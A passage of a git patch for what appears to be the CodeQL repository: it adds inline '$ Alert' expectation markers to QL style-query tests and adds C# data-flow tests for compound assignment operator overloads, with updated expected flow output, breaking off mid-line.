a/ql/ql/test/queries/style/NonDocBlock/NonDocBlock.qlref b/ql/ql/test/queries/style/NonDocBlock/NonDocBlock.qlref index b6dbdf50604..57118bb0ff7 100644 --- a/ql/ql/test/queries/style/NonDocBlock/NonDocBlock.qlref +++ b/ql/ql/test/queries/style/NonDocBlock/NonDocBlock.qlref @@ -1 +1,2 @@ -queries/style/NonDocBlock.ql \ No newline at end of file +query: queries/style/NonDocBlock.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ql/ql/test/queries/style/OmittableExists/OmittableExists.qlref b/ql/ql/test/queries/style/OmittableExists/OmittableExists.qlref index af9ad5ec40b..c606ef98425 100644 --- a/ql/ql/test/queries/style/OmittableExists/OmittableExists.qlref +++ b/ql/ql/test/queries/style/OmittableExists/OmittableExists.qlref @@ -1 +1,2 @@ -queries/style/OmittableExists.ql \ No newline at end of file +query: queries/style/OmittableExists.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ql/ql/test/queries/style/OmittableExists/Test.qll b/ql/ql/test/queries/style/OmittableExists/Test.qll index 517758a9dab..0312c86ec6e 100644 --- a/ql/ql/test/queries/style/OmittableExists/Test.qll +++ b/ql/ql/test/queries/style/OmittableExists/Test.qll @@ -17,7 +17,7 @@ class Location extends @location_default { } predicate test() { - exists(int i | aPredicate(i)) // BAD + exists(int i | aPredicate(i)) // $ Alert // BAD or exists(int i | aPredicate(i) or anotherPredicate(i)) // BAD [NOT DETECTED] or diff --git a/ql/ql/test/queries/style/QlRefInlineExpectations/Test3.qlref b/ql/ql/test/queries/style/QlRefInlineExpectations/Test3.qlref index 5582a96837a..f840a91b59e 100644 --- a/ql/ql/test/queries/style/QlRefInlineExpectations/Test3.qlref +++ b/ql/ql/test/queries/style/QlRefInlineExpectations/Test3.qlref @@ -1 +1,2 @@ -query: ProblemQuery.ql \ No newline at end of file +query: ProblemQuery.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ql/ql/test/queries/style/RedundantCast/Foo.qll b/ql/ql/test/queries/style/RedundantCast/Foo.qll index d993f654bc4..4410d344c9f 100644 --- a/ql/ql/test/queries/style/RedundantCast/Foo.qll +++ b/ql/ql/test/queries/style/RedundantCast/Foo.qll @@ -2,10 +2,10 @@ class Foo extends string { Foo() { this = "Foo" } } -predicate test(Foo f) { f.(Foo).toString() = "X" } +predicate test(Foo f) { f.(Foo).toString() = "X" } // $ Alert -predicate test2(Foo a, Foo b) { a.(Foo) = b } +predicate test2(Foo a, Foo b) { a.(Foo) = b } // $ Alert predicate called(Foo a) { a.toString() = "X" } -predicate test3(string s) { called(s.(Foo)) } +predicate test3(string s) { called(s.(Foo)) } // $ Alert diff --git a/ql/ql/test/queries/style/RedundantCast/RedundantCast.qlref b/ql/ql/test/queries/style/RedundantCast/RedundantCast.qlref index 659062d3ae5..77bbbe67466 100644 --- a/ql/ql/test/queries/style/RedundantCast/RedundantCast.qlref +++ b/ql/ql/test/queries/style/RedundantCast/RedundantCast.qlref @@ -1 +1,2 @@ -queries/style/RedundantCast.ql +query: queries/style/RedundantCast.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ql/ql/test/queries/style/RedundantImport/D.qll b/ql/ql/test/queries/style/RedundantImport/D.qll index 1badf0ebbc5..ba5df313cdb 100644 --- a/ql/ql/test/queries/style/RedundantImport/D.qll +++ b/ql/ql/test/queries/style/RedundantImport/D.qll @@ -1,2 +1,2 @@ -import folder.A +import folder.A // $ Alert import folder.B diff --git a/ql/ql/test/queries/style/RedundantImport/RedundantImport.qlref b/ql/ql/test/queries/style/RedundantImport/RedundantImport.qlref index a2ff992e5cd..acacf6163e5 100644 --- a/ql/ql/test/queries/style/RedundantImport/RedundantImport.qlref +++ b/ql/ql/test/queries/style/RedundantImport/RedundantImport.qlref @@ -1 +1,2 @@ -queries/style/RedundantImport.ql \ No newline at end of file +query: queries/style/RedundantImport.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ql/ql/test/queries/style/RedundantOverride/RedundantOverride.qll b/ql/ql/test/queries/style/RedundantOverride/RedundantOverride.qll index 35df3b3194c..01d4e128615 100644 --- a/ql/ql/test/queries/style/RedundantOverride/RedundantOverride.qll +++ b/ql/ql/test/queries/style/RedundantOverride/RedundantOverride.qll @@ -6,7 +6,7 @@ module Test1 { } class Bar extends Foo { - override Foo pred() { result = Foo.super.pred() } // BAD + override Foo pred() { result = Foo.super.pred() } // $ Alert // BAD } } @@ -18,7 +18,7 @@ module Test2 { } class Bar extends Foo { - override Foo pred() { result = super.pred() } // BAD + override Foo pred() { result = super.pred() } // $ Alert // BAD } } @@ -107,7 +107,7 @@ module Test8 { } class Bar extends Foo { - override predicate pred(Foo f) { super.pred(f) } // BAD + override predicate pred(Foo f) { super.pred(f) } // $ Alert // BAD } } @@ -121,15 +121,15 @@ module Test9 { class Bar extends Foo { Bar() { this = 1 } - override Foo pred() { Foo.super.pred() = result } // BAD + override Foo pred() { Foo.super.pred() = result } // $ Alert // BAD } class Baz1 extends Foo, Bar { - override Foo pred() { Foo.super.pred() = result } // BAD + override Foo pred() { Foo.super.pred() = result } // $ Alert // BAD } class Baz2 extends Foo, Baz1 { - override Foo pred() { Baz1.super.pred() = result } // BAD + override Foo pred() { Baz1.super.pred() = result } // $ Alert // BAD } } @@ -147,7 +147,7 @@ module Test10 { } class Baz1 extends Foo, Bar { - override Foo pred() { result = Foo.super.pred() } // BAD + override Foo pred() { result = Foo.super.pred() } // $ Alert // BAD } } @@ -161,19 +161,19 @@ module Test11 { class Bar1 extends Foo { Bar1() { this = [1 .. 3] } - override Foo pred() { Foo.super.pred() = result } // BAD + override Foo pred() { Foo.super.pred() = result } // $ Alert // BAD } class Bar2 extends Foo, Bar1 { - override Foo pred() { Foo.super.pred() = result } // BAD + override Foo pred() { Foo.super.pred() = result } // $ Alert // BAD } class Bar3 extends Foo, Bar2 { - override Foo pred() { Bar2.super.pred() = result } // BAD + override Foo pred() { Bar2.super.pred() = result } // $ Alert // BAD } class Bar4 extends Bar2, Bar3 { - override Foo pred() { result = Bar2.super.pred() } // BAD + override Foo pred() { result = Bar2.super.pred() } // $ Alert // BAD } class Bar5 extends Foo { diff --git a/ql/ql/test/queries/style/RedundantOverride/RedundantOverride.qlref b/ql/ql/test/queries/style/RedundantOverride/RedundantOverride.qlref index aca59af1cce..ac16aebc2e7 100644 --- a/ql/ql/test/queries/style/RedundantOverride/RedundantOverride.qlref +++ b/ql/ql/test/queries/style/RedundantOverride/RedundantOverride.qlref @@ -1 +1,2 @@ -queries/style/RedundantOverride.ql +query: queries/style/RedundantOverride.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ql/ql/test/queries/style/SwappedParameterNames/SwappedParameterNames.qlref b/ql/ql/test/queries/style/SwappedParameterNames/SwappedParameterNames.qlref index cab8c347410..78ad77024ca 100644 --- a/ql/ql/test/queries/style/SwappedParameterNames/SwappedParameterNames.qlref +++ b/ql/ql/test/queries/style/SwappedParameterNames/SwappedParameterNames.qlref @@ -1 +1,2 @@ -queries/style/SwappedParameterNames.ql \ No newline at end of file +query: queries/style/SwappedParameterNames.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ql/ql/test/queries/style/SwappedParameterNames/Test.qll b/ql/ql/test/queries/style/SwappedParameterNames/Test.qll index 5c8083d3098..0ee3760c7cb 100644 --- a/ql/ql/test/queries/style/SwappedParameterNames/Test.qll +++ b/ql/ql/test/queries/style/SwappedParameterNames/Test.qll @@ -9,5 +9,5 @@ class Correct extends Sup { } class Wrong extends Sup { - override predicate step(Expr succ, Expr pred) { none() } // <- swapped parameter names + override predicate step(Expr succ, Expr pred) { none() } // $ Alert // <- swapped parameter names } diff --git a/ql/ql/test/queries/style/UseInstanceofExtension/Foo.qll b/ql/ql/test/queries/style/UseInstanceofExtension/Foo.qll index b58cb3f93e3..b6479e6fc3a 100644 --- a/ql/ql/test/queries/style/UseInstanceofExtension/Foo.qll +++ b/ql/ql/test/queries/style/UseInstanceofExtension/Foo.qll @@ -4,7 +4,7 @@ class Range extends string { string getAChild() { result = "test" } } -class Inst extends string { +class Inst extends string { // $ Alert Range range; Inst() { this = range } @@ -12,13 +12,13 @@ class Inst extends string { string getAChild() { result = range.getAChild() } } -class Inst2 extends string { +class Inst2 extends string { // $ Alert Inst2() { this instanceof Range } string getAChild() { result = this.(Range).getAChild() } } -class Inst3 extends string { +class Inst3 extends string { // $ Alert Range range; Inst3() { this = range } @@ -26,6 +26,6 @@ class Inst3 extends string { Range getRange() { result = range } } -class Inst4 extends string { +class Inst4 extends string { // $ Alert Inst4() { this instanceof Range } } diff --git a/ql/ql/test/queries/style/UseInstanceofExtension/UseInstanceofExtension.qlref b/ql/ql/test/queries/style/UseInstanceofExtension/UseInstanceofExtension.qlref index 4b8a6515787..d895947b87b 100644 --- a/ql/ql/test/queries/style/UseInstanceofExtension/UseInstanceofExtension.qlref +++ b/ql/ql/test/queries/style/UseInstanceofExtension/UseInstanceofExtension.qlref @@ -1 +1,2 @@ -queries/style/UseInstanceofExtension.ql \ No newline at end of file +query: queries/style/UseInstanceofExtension.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ql/ql/test/queries/style/UseSetLiteral/UseSetLiteral.qlref b/ql/ql/test/queries/style/UseSetLiteral/UseSetLiteral.qlref index d4047ebc29f..545dc8d4842 100644 --- a/ql/ql/test/queries/style/UseSetLiteral/UseSetLiteral.qlref +++ b/ql/ql/test/queries/style/UseSetLiteral/UseSetLiteral.qlref @@ -1 +1,2 @@ -queries/style/UseSetLiteral.ql \ No newline at end of file +query: queries/style/UseSetLiteral.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ql/ql/test/queries/style/UseSetLiteral/test.qll b/ql/ql/test/queries/style/UseSetLiteral/test.qll index fcc581c3e8c..0fd1dab6ddd 100644 --- a/ql/ql/test/queries/style/UseSetLiteral/test.qll +++ b/ql/ql/test/queries/style/UseSetLiteral/test.qll @@ -4,7 +4,7 @@ predicate test1(int a) { a = 1 or // BAD a = 2 or a = 3 or - a = 4 + a = 4 // $ Alert } predicate test2(int a) { @@ -30,7 +30,7 @@ predicate test5() { test1(1) or // BAD test1(2) or test1(3) or - test1(4) + test1(4) // $ Alert } predicate test6() { @@ -44,7 +44,7 @@ int test7() { 1 = result or // BAD 2 = result or 3 = result or - 4 = result + 4 = result // $ Alert } predicate test8() { @@ -62,19 +62,19 @@ class MyTest8Class extends int { this = 1 or // BAD this = 2 or this = 3 or - this = 4 + this = 4 // $ Alert ) and ( s = "1" or // BAD s = "2" or s = "3" or - s = "4" + s = "4" // $ Alert ) and exists(float f | f = 1.0 or // BAD f = 1.5 or f = 2.0 or - f = 2.5 + f = 2.5 // $ Alert ) } @@ -89,7 +89,7 @@ predicate test9(MyTest8Class c) { c.is(1) or // BAD c.is(2) or c.is(3) or - c.is(4) + c.is(4) // $ Alert } predicate test10(MyTest8Class c) { @@ -133,5 +133,5 @@ predicate test14(int a) { (a = 2 or a = 3) or a = 4 - ) + ) // $ Alert } diff --git a/ql/ql/test/queries/style/ValidatePredicateGetReturns/ValidatePredicateGetReturns.qlref b/ql/ql/test/queries/style/ValidatePredicateGetReturns/ValidatePredicateGetReturns.qlref index e116f69d6b2..7a89245d787 100644 --- a/ql/ql/test/queries/style/ValidatePredicateGetReturns/ValidatePredicateGetReturns.qlref +++ b/ql/ql/test/queries/style/ValidatePredicateGetReturns/ValidatePredicateGetReturns.qlref @@ -1 +1,2 @@ -queries/style/ValidatePredicateGetReturns.ql +query: queries/style/ValidatePredicateGetReturns.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ql/ql/test/queries/style/ValidatePredicateGetReturns/test.qll b/ql/ql/test/queries/style/ValidatePredicateGetReturns/test.qll index 2cc4dec64d2..e9c34eb94a6 100644 --- a/ql/ql/test/queries/style/ValidatePredicateGetReturns/test.qll +++ b/ql/ql/test/queries/style/ValidatePredicateGetReturns/test.qll @@ -1,7 +1,7 @@ import ql // NOT OK -- Predicate starts with "get" but does not return a value -predicate getValue() { none() } +predicate getValue() { none() } // $ Alert // OK -- starts with get and returns a value string getData() { result = "data" } @@ -22,13 +22,13 @@ predicate getvalue() { none() } predicate retrieveValue() { none() } // NOT OK -- starts with get and does not return value -predicate getImplementation2() { none() } +predicate getImplementation2() { none() } // $ Alert // NOT OK -- is an alias for a predicate which does not have a return value -predicate getAlias2 = getImplementation2/0; +predicate getAlias2 = getImplementation2/0; // $ Alert // NOT OK -- starts with as and does not return value -predicate asValue() { none() } +predicate asValue() { none() } // $ Alert // OK -- starts with as but followed by a lowercase letter, probably should be ignored predicate assessment() { none() } @@ -45,7 +45,7 @@ HiddenType getInjectableCompositeActionNode() { predicate implementation4() { none() } // NOT OK -- is an alias -predicate getAlias4 = implementation4/0; +predicate getAlias4 = implementation4/0; // $ Alert // OK -- is an alias predicate alias5 = implementation4/0; @@ -58,7 +58,7 @@ predicate edge(int x, int y) { none() } int getDistance(int x) = shortestDistances(root/0, edge/2)(_, x, result) // NOT OK -- Higher-order predicate that does not return a value even though has 'get' in the name -predicate getDistance2(int x, int y) = shortestDistances(root/0, edge/2)(_, x, y) +predicate getDistance2(int x, int y) = shortestDistances(root/0, edge/2)(_, x, y) // $ Alert // OK predicate unresolvedAlias = unresolved/0; From 175c4f1b0d1dca17a5a8ea683fb97ac5a9bc4d54 Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Mon, 15 Jun 2026 13:26:39 +0200 Subject: [PATCH 123/143] C#: Add models as data tests for compound assignment operators. --- .../dataflow/external-models/ExternalFlow.cs | 27 +++++++ .../external-models/ExternalFlow.expected | 70 ++++++++++++------- .../external-models/ExternalFlow.ext.yml | 2 + 3 files changed, 75 insertions(+), 24 deletions(-) diff --git a/csharp/ql/test/library-tests/dataflow/external-models/ExternalFlow.cs b/csharp/ql/test/library-tests/dataflow/external-models/ExternalFlow.cs index 1fa43ba456e..bf731715abf 100644 --- a/csharp/ql/test/library-tests/dataflow/external-models/ExternalFlow.cs +++ b/csharp/ql/test/library-tests/dataflow/external-models/ExternalFlow.cs @@ -442,4 +442,31 @@ namespace My.Qltest static void Sink(object o) { } } + + // Test operator overloads + public class N + { + public void operator +=(N y) => throw null; + + public void operator checked +=(N y) => throw null; + + public void M1(N n) + { + var n0 = new N(); + n += n0; + Sink(n); + } + + public void M2(N n) + { + var n0 = new N(); + checked + { + n += n0; + } + Sink(n); + } + + static void Sink(object o) { } + } } diff --git a/csharp/ql/test/library-tests/dataflow/external-models/ExternalFlow.expected b/csharp/ql/test/library-tests/dataflow/external-models/ExternalFlow.expected index b0256d6c41d..62bf675dc60 100644 --- a/csharp/ql/test/library-tests/dataflow/external-models/ExternalFlow.expected +++ b/csharp/ql/test/library-tests/dataflow/external-models/ExternalFlow.expected @@ -32,14 +32,16 @@ models | 31 | Summary: My.Qltest; Library; false; GetValue; (); ; Argument[this].SyntheticField[X]; ReturnValue; value; dfc-generated | | 32 | Summary: My.Qltest; Library; false; MixedFlowArgs; (System.Object,System.Object); ; Argument[1]; ReturnValue; value; manual | | 33 | Summary: My.Qltest; Library; false; SetValue; (System.Object); ; Argument[0]; Argument[this].SyntheticField[X]; value; dfc-generated | -| 34 | Summary: My.Qltest; TestExtensions+extension(System.Object); false; Method1; (System.Object); ; Argument[0]; ReturnValue; value; manual | -| 35 | Summary: My.Qltest; TestExtensions+extension(System.Object); false; StaticMethod1; (System.Object); ; Argument[0]; ReturnValue; value; manual | -| 36 | Summary: My.Qltest; TestExtensions+extension(System.Object); false; get_Property1; (System.Object); ; Argument[0].SyntheticField[TestExtensions.Property1]; ReturnValue; value; manual | -| 37 | Summary: My.Qltest; TestExtensions+extension(System.Object); false; set_Property1; (System.Object,System.Object); ; Argument[1]; Argument[0].SyntheticField[TestExtensions.Property1]; value; manual | -| 38 | Summary: My.Qltest; TestExtensions+extension(T); false; GenericMethod1; (T); ; Argument[0]; ReturnValue; value; manual | -| 39 | Summary: My.Qltest; TestExtensions+extension(T); false; GenericStaticMethod1; (T); ; Argument[0]; ReturnValue; value; manual | -| 40 | Summary: My.Qltest; TestExtensions+extension(T); false; get_GenericProperty1; (T); ; Argument[0].SyntheticField[TestExtensions.GenericProperty1]; ReturnValue; value; manual | -| 41 | Summary: My.Qltest; TestExtensions+extension(T); false; set_GenericProperty1; (T,T); ; Argument[1]; Argument[0].SyntheticField[TestExtensions.GenericProperty1]; value; manual | +| 34 | Summary: My.Qltest; N; false; op_AdditionAssignment; (My.Qltest.N); ; Argument[0]; Argument[this]; taint; manual | +| 35 | Summary: My.Qltest; N; false; op_CheckedAdditionAssignment; (My.Qltest.N); ; Argument[0]; Argument[this]; taint; manual | +| 36 | Summary: My.Qltest; TestExtensions+extension(System.Object); false; Method1; (System.Object); ; Argument[0]; ReturnValue; value; manual | +| 37 | Summary: My.Qltest; TestExtensions+extension(System.Object); false; StaticMethod1; (System.Object); ; Argument[0]; ReturnValue; value; manual | +| 38 | Summary: My.Qltest; TestExtensions+extension(System.Object); false; get_Property1; (System.Object); ; Argument[0].SyntheticField[TestExtensions.Property1]; ReturnValue; value; manual | +| 39 | Summary: My.Qltest; TestExtensions+extension(System.Object); false; set_Property1; (System.Object,System.Object); ; Argument[1]; Argument[0].SyntheticField[TestExtensions.Property1]; value; manual | +| 40 | Summary: My.Qltest; TestExtensions+extension(T); false; GenericMethod1; (T); ; Argument[0]; ReturnValue; value; manual | +| 41 | Summary: My.Qltest; TestExtensions+extension(T); false; GenericStaticMethod1; (T); ; Argument[0]; ReturnValue; value; manual | +| 42 | Summary: My.Qltest; TestExtensions+extension(T); false; get_GenericProperty1; (T); ; Argument[0].SyntheticField[TestExtensions.GenericProperty1]; ReturnValue; value; manual | +| 43 | Summary: My.Qltest; TestExtensions+extension(T); false; set_GenericProperty1; (T,T); ; Argument[1]; Argument[0].SyntheticField[TestExtensions.GenericProperty1]; value; manual | edges | ExternalFlow.cs:9:20:9:23 | access to local variable arg1 : Object | ExternalFlow.cs:10:29:10:32 | access to local variable arg1 : Object | provenance | | | ExternalFlow.cs:9:27:9:38 | object creation of type Object : Object | ExternalFlow.cs:9:20:9:23 | access to local variable arg1 : Object | provenance | | @@ -162,69 +164,77 @@ edges | ExternalFlow.cs:373:17:373:19 | access to local variable obj : Object | ExternalFlow.cs:377:45:377:47 | access to local variable obj : Object | provenance | | | ExternalFlow.cs:373:23:373:34 | object creation of type Object : Object | ExternalFlow.cs:373:17:373:19 | access to local variable obj : Object | provenance | | | ExternalFlow.cs:374:17:374:18 | access to local variable o1 : Object | ExternalFlow.cs:375:18:375:19 | access to local variable o1 | provenance | | -| ExternalFlow.cs:374:22:374:24 | access to local variable obj : Object | ExternalFlow.cs:374:22:374:34 | call to method Method1 : Object | provenance | MaD:34 | +| ExternalFlow.cs:374:22:374:24 | access to local variable obj : Object | ExternalFlow.cs:374:22:374:34 | call to method Method1 : Object | provenance | MaD:36 | | ExternalFlow.cs:374:22:374:34 | call to method Method1 : Object | ExternalFlow.cs:374:17:374:18 | access to local variable o1 : Object | provenance | | | ExternalFlow.cs:377:17:377:18 | access to local variable o2 : Object | ExternalFlow.cs:378:18:378:19 | access to local variable o2 | provenance | | | ExternalFlow.cs:377:22:377:48 | call to method Method1 : Object | ExternalFlow.cs:377:17:377:18 | access to local variable o2 : Object | provenance | | -| ExternalFlow.cs:377:45:377:47 | access to local variable obj : Object | ExternalFlow.cs:377:22:377:48 | call to method Method1 : Object | provenance | MaD:34 | +| ExternalFlow.cs:377:45:377:47 | access to local variable obj : Object | ExternalFlow.cs:377:22:377:48 | call to method Method1 : Object | provenance | MaD:36 | | ExternalFlow.cs:383:17:383:19 | access to local variable obj : Object | ExternalFlow.cs:384:43:384:45 | access to local variable obj : Object | provenance | | | ExternalFlow.cs:383:17:383:19 | access to local variable obj : Object | ExternalFlow.cs:387:51:387:53 | access to local variable obj : Object | provenance | | | ExternalFlow.cs:383:23:383:34 | object creation of type Object : Object | ExternalFlow.cs:383:17:383:19 | access to local variable obj : Object | provenance | | | ExternalFlow.cs:384:17:384:18 | access to local variable o1 : Object | ExternalFlow.cs:385:18:385:19 | access to local variable o1 | provenance | | | ExternalFlow.cs:384:22:384:46 | call to method StaticMethod1 : Object | ExternalFlow.cs:384:17:384:18 | access to local variable o1 : Object | provenance | | -| ExternalFlow.cs:384:43:384:45 | access to local variable obj : Object | ExternalFlow.cs:384:22:384:46 | call to method StaticMethod1 : Object | provenance | MaD:35 | +| ExternalFlow.cs:384:43:384:45 | access to local variable obj : Object | ExternalFlow.cs:384:22:384:46 | call to method StaticMethod1 : Object | provenance | MaD:37 | | ExternalFlow.cs:387:17:387:18 | access to local variable o2 : Object | ExternalFlow.cs:388:18:388:19 | access to local variable o2 | provenance | | | ExternalFlow.cs:387:22:387:54 | call to method StaticMethod1 : Object | ExternalFlow.cs:387:17:387:18 | access to local variable o2 : Object | provenance | | -| ExternalFlow.cs:387:51:387:53 | access to local variable obj : Object | ExternalFlow.cs:387:22:387:54 | call to method StaticMethod1 : Object | provenance | MaD:35 | +| ExternalFlow.cs:387:51:387:53 | access to local variable obj : Object | ExternalFlow.cs:387:22:387:54 | call to method StaticMethod1 : Object | provenance | MaD:37 | | ExternalFlow.cs:393:17:393:19 | access to local variable obj : Object | ExternalFlow.cs:394:27:394:29 | access to local variable obj : Object | provenance | | | ExternalFlow.cs:393:23:393:34 | object creation of type Object : Object | ExternalFlow.cs:393:17:393:19 | access to local variable obj : Object | provenance | | | ExternalFlow.cs:394:13:394:13 | [post] access to parameter o : Object [synthetic TestExtensions.Property1] : Object | ExternalFlow.cs:395:22:395:22 | access to parameter o : Object [synthetic TestExtensions.Property1] : Object | provenance | | -| ExternalFlow.cs:394:27:394:29 | access to local variable obj : Object | ExternalFlow.cs:394:13:394:13 | [post] access to parameter o : Object [synthetic TestExtensions.Property1] : Object | provenance | MaD:37 | +| ExternalFlow.cs:394:27:394:29 | access to local variable obj : Object | ExternalFlow.cs:394:13:394:13 | [post] access to parameter o : Object [synthetic TestExtensions.Property1] : Object | provenance | MaD:39 | | ExternalFlow.cs:395:17:395:18 | access to local variable o1 : Object | ExternalFlow.cs:396:18:396:19 | access to local variable o1 | provenance | | -| ExternalFlow.cs:395:22:395:22 | access to parameter o : Object [synthetic TestExtensions.Property1] : Object | ExternalFlow.cs:395:22:395:32 | access to property Property1 : Object | provenance | MaD:36 | +| ExternalFlow.cs:395:22:395:22 | access to parameter o : Object [synthetic TestExtensions.Property1] : Object | ExternalFlow.cs:395:22:395:32 | access to property Property1 : Object | provenance | MaD:38 | | ExternalFlow.cs:395:22:395:32 | access to property Property1 : Object | ExternalFlow.cs:395:17:395:18 | access to local variable o1 : Object | provenance | | | ExternalFlow.cs:401:17:401:19 | access to local variable obj : Object | ExternalFlow.cs:402:45:402:47 | access to local variable obj : Object | provenance | | | ExternalFlow.cs:401:23:401:34 | object creation of type Object : Object | ExternalFlow.cs:401:17:401:19 | access to local variable obj : Object | provenance | | | ExternalFlow.cs:402:42:402:42 | [post] access to parameter o : Object [synthetic TestExtensions.Property1] : Object | ExternalFlow.cs:403:51:403:51 | access to parameter o : Object [synthetic TestExtensions.Property1] : Object | provenance | | -| ExternalFlow.cs:402:45:402:47 | access to local variable obj : Object | ExternalFlow.cs:402:42:402:42 | [post] access to parameter o : Object [synthetic TestExtensions.Property1] : Object | provenance | MaD:37 | +| ExternalFlow.cs:402:45:402:47 | access to local variable obj : Object | ExternalFlow.cs:402:42:402:42 | [post] access to parameter o : Object [synthetic TestExtensions.Property1] : Object | provenance | MaD:39 | | ExternalFlow.cs:403:17:403:18 | access to local variable o1 : Object | ExternalFlow.cs:404:18:404:19 | access to local variable o1 | provenance | | | ExternalFlow.cs:403:22:403:52 | call to extension accessor get_Property1 : Object | ExternalFlow.cs:403:17:403:18 | access to local variable o1 : Object | provenance | | -| ExternalFlow.cs:403:51:403:51 | access to parameter o : Object [synthetic TestExtensions.Property1] : Object | ExternalFlow.cs:403:22:403:52 | call to extension accessor get_Property1 : Object | provenance | MaD:36 | +| ExternalFlow.cs:403:51:403:51 | access to parameter o : Object [synthetic TestExtensions.Property1] : Object | ExternalFlow.cs:403:22:403:52 | call to extension accessor get_Property1 : Object | provenance | MaD:38 | | ExternalFlow.cs:409:17:409:19 | access to local variable obj : Object | ExternalFlow.cs:410:22:410:24 | access to local variable obj : Object | provenance | | | ExternalFlow.cs:409:17:409:19 | access to local variable obj : Object | ExternalFlow.cs:413:52:413:54 | access to local variable obj : Object | provenance | | | ExternalFlow.cs:409:23:409:34 | object creation of type Object : Object | ExternalFlow.cs:409:17:409:19 | access to local variable obj : Object | provenance | | | ExternalFlow.cs:410:17:410:18 | access to local variable o1 : Object | ExternalFlow.cs:411:18:411:19 | access to local variable o1 | provenance | | -| ExternalFlow.cs:410:22:410:24 | access to local variable obj : Object | ExternalFlow.cs:410:22:410:41 | call to method GenericMethod1 : Object | provenance | MaD:38 | +| ExternalFlow.cs:410:22:410:24 | access to local variable obj : Object | ExternalFlow.cs:410:22:410:41 | call to method GenericMethod1 : Object | provenance | MaD:40 | | ExternalFlow.cs:410:22:410:41 | call to method GenericMethod1 : Object | ExternalFlow.cs:410:17:410:18 | access to local variable o1 : Object | provenance | | | ExternalFlow.cs:413:17:413:18 | access to local variable o2 : Object | ExternalFlow.cs:414:18:414:19 | access to local variable o2 | provenance | | | ExternalFlow.cs:413:22:413:55 | call to method GenericMethod1 : Object | ExternalFlow.cs:413:17:413:18 | access to local variable o2 : Object | provenance | | -| ExternalFlow.cs:413:52:413:54 | access to local variable obj : Object | ExternalFlow.cs:413:22:413:55 | call to method GenericMethod1 : Object | provenance | MaD:38 | +| ExternalFlow.cs:413:52:413:54 | access to local variable obj : Object | ExternalFlow.cs:413:22:413:55 | call to method GenericMethod1 : Object | provenance | MaD:40 | | ExternalFlow.cs:419:17:419:19 | access to local variable obj : Object | ExternalFlow.cs:420:50:420:52 | access to local variable obj : Object | provenance | | | ExternalFlow.cs:419:17:419:19 | access to local variable obj : Object | ExternalFlow.cs:423:58:423:60 | access to local variable obj : Object | provenance | | | ExternalFlow.cs:419:23:419:34 | object creation of type Object : Object | ExternalFlow.cs:419:17:419:19 | access to local variable obj : Object | provenance | | | ExternalFlow.cs:420:17:420:18 | access to local variable o1 : Object | ExternalFlow.cs:421:18:421:19 | access to local variable o1 | provenance | | | ExternalFlow.cs:420:22:420:53 | call to method GenericStaticMethod1 : Object | ExternalFlow.cs:420:17:420:18 | access to local variable o1 : Object | provenance | | -| ExternalFlow.cs:420:50:420:52 | access to local variable obj : Object | ExternalFlow.cs:420:22:420:53 | call to method GenericStaticMethod1 : Object | provenance | MaD:39 | +| ExternalFlow.cs:420:50:420:52 | access to local variable obj : Object | ExternalFlow.cs:420:22:420:53 | call to method GenericStaticMethod1 : Object | provenance | MaD:41 | | ExternalFlow.cs:423:17:423:18 | access to local variable o2 : Object | ExternalFlow.cs:424:18:424:19 | access to local variable o2 | provenance | | | ExternalFlow.cs:423:22:423:61 | call to method GenericStaticMethod1 : Object | ExternalFlow.cs:423:17:423:18 | access to local variable o2 : Object | provenance | | -| ExternalFlow.cs:423:58:423:60 | access to local variable obj : Object | ExternalFlow.cs:423:22:423:61 | call to method GenericStaticMethod1 : Object | provenance | MaD:39 | +| ExternalFlow.cs:423:58:423:60 | access to local variable obj : Object | ExternalFlow.cs:423:22:423:61 | call to method GenericStaticMethod1 : Object | provenance | MaD:41 | | ExternalFlow.cs:429:17:429:19 | access to local variable obj : Object | ExternalFlow.cs:430:34:430:36 | access to local variable obj : Object | provenance | | | ExternalFlow.cs:429:23:429:34 | object creation of type Object : Object | ExternalFlow.cs:429:17:429:19 | access to local variable obj : Object | provenance | | | ExternalFlow.cs:430:13:430:13 | [post] access to parameter o : Object [property GenericProperty1] : Object | ExternalFlow.cs:431:22:431:22 | access to parameter o : Object [property GenericProperty1] : Object | provenance | | | ExternalFlow.cs:430:13:430:13 | [post] access to parameter o : Object [synthetic TestExtensions.GenericProperty1] : Object | ExternalFlow.cs:431:22:431:22 | access to parameter o : Object [synthetic TestExtensions.GenericProperty1] : Object | provenance | | | ExternalFlow.cs:430:34:430:36 | access to local variable obj : Object | ExternalFlow.cs:430:13:430:13 | [post] access to parameter o : Object [property GenericProperty1] : Object | provenance | | -| ExternalFlow.cs:430:34:430:36 | access to local variable obj : Object | ExternalFlow.cs:430:13:430:13 | [post] access to parameter o : Object [synthetic TestExtensions.GenericProperty1] : Object | provenance | MaD:41 | +| ExternalFlow.cs:430:34:430:36 | access to local variable obj : Object | ExternalFlow.cs:430:13:430:13 | [post] access to parameter o : Object [synthetic TestExtensions.GenericProperty1] : Object | provenance | MaD:43 | | ExternalFlow.cs:431:17:431:18 | access to local variable o1 : Object | ExternalFlow.cs:432:18:432:19 | access to local variable o1 | provenance | | | ExternalFlow.cs:431:22:431:22 | access to parameter o : Object [property GenericProperty1] : Object | ExternalFlow.cs:431:22:431:39 | access to property GenericProperty1 : Object | provenance | | -| ExternalFlow.cs:431:22:431:22 | access to parameter o : Object [synthetic TestExtensions.GenericProperty1] : Object | ExternalFlow.cs:431:22:431:39 | access to property GenericProperty1 : Object | provenance | MaD:40 | +| ExternalFlow.cs:431:22:431:22 | access to parameter o : Object [synthetic TestExtensions.GenericProperty1] : Object | ExternalFlow.cs:431:22:431:39 | access to property GenericProperty1 : Object | provenance | MaD:42 | | ExternalFlow.cs:431:22:431:39 | access to property GenericProperty1 : Object | ExternalFlow.cs:431:17:431:18 | access to local variable o1 : Object | provenance | | | ExternalFlow.cs:437:17:437:19 | access to local variable obj : Object | ExternalFlow.cs:438:52:438:54 | access to local 